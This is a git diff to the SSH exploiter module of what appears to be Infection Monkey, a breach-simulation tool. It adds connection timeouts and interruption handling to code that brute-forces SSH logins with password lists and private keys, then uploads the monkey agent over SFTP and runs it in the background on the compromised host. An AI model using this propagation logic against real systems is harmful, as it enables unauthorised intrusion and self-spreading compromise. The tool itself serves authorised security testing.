diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index dadbfbff1..0410b95d8 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,9 +1,9 @@ import io import logging -import time import paramiko +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter @@ -14,9 +14,16 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) SSH_PORT = 22 +SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT +SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT + TRANSFER_UPDATE_RATE = 15 @@ -26,13 +33,14 @@ class SSHExploiter(HostExploiter): def __init__(self): super(SSHExploiter, self).__init__() - self._update_timestamp = 0 def log_transfer(self, transferred, total): - # TODO: Replace with infection_monkey.utils.timer.Timer - if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: + timer = Timer() + timer.set(TRANSFER_UPDATE_RATE) + + if timer.is_expired(): logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) - self._update_timestamp = time.time() + timer.reset() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: user_ssh_key_pairs = generate_identity_secret_pairs( @@ -40,7 +48,14 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_ssh_keys"], ) - for user, ssh_key_pair in user_ssh_key_pairs: + ssh_key_pairs_iterator = interruptable_iter( + user_ssh_key_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, ssh_key_pair in ssh_key_pairs_iterator: # Creating file-like private key for paramiko pkey = io.StringIO(ssh_key_pair["private_key"]) ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) @@ -52,10 +67,20 @@ class SSHExploiter(HostExploiter): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") try: - ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) + ssh.connect( + self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + ) logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string ) + self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: @@ -73,15 +98,31 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_password_list"], ) - for user, current_password in user_password_pairs: + credentials_iterator = interruptable_iter( + user_password_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, current_password in credentials_iterator: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: - ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) + ssh.connect( + self.host.ip_addr, + username=user, + password=current_password, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + ) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, current_password) return ssh @@ -114,19 +155,21 @@ class SSHExploiter(HostExploiter): try: ssh = self.exploit_with_ssh_keys(port) - self.exploit_result.exploitation_success = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) - self.exploit_result.exploitation_success = True except FailedExploitationError: self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." logger.error(self.exploit_result.error_message) return self.exploit_result + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + if not self.host.os.get("type"): try: - _, stdout, _ = ssh.exec_command("uname -o") + _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.exploit_result.os = "linux" @@ -154,9 +197,14 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + try: + # open_sftp can block up to an hour if a machine is killed + # after a connection with ssh.open_sftp() as ftp: - self._update_timestamp = time.time() ftp.putfo( agent_binary_file_object, self.options["dropper_target_path_linux"], @@ -188,7 +236,7 @@ class SSHExploiter(HostExploiter): cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline += build_monkey_commandline(self.host, self.current_depth - 1) cmdline += " > /dev/null 2>&1 &" - ssh.exec_command(cmdline) + ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)",